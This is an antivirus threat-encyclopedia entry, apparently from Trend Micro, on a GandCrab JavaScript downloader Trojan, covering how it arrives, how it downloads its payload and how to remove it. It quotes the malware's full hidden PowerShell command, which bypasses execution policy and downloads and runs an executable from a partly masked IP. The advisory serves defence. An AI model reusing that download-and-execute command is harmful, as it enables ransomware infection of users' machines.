Trojan.JS.GANDCRAB.THBBGAI
Trojan.JS.Agent.TBF (Bitdefender)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
TECHNICAL DETAILS
34697 bytes
JS
No
25 Feb 2019
Connects to URLs/IPs
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}.{BLOCKED}.197.153/krabaldento.exe
It saves the files it downloads using the following names:
- %AppDataLocal%\TempYMN28.exe -> detected as Ransom.Win32.GANDCRAB.THBBGAI
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
Other Details
This Trojan does the following:
- It uses the following powershell commands to download and execute a malicious file:
- powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://{BLOCKED}.{BLOCKED}.197.153/krabaldento.exe','%temp%YMN28.exe'); & start %temp%YMN28.exe", "", "open", 0)
SOLUTION
9.850
14.840.02
27 Feb 2019
14.841.00
28 Feb 2019
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %AppDataLocal%\TempYMN28.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as Trojan.JS.GANDCRAB.THBBGAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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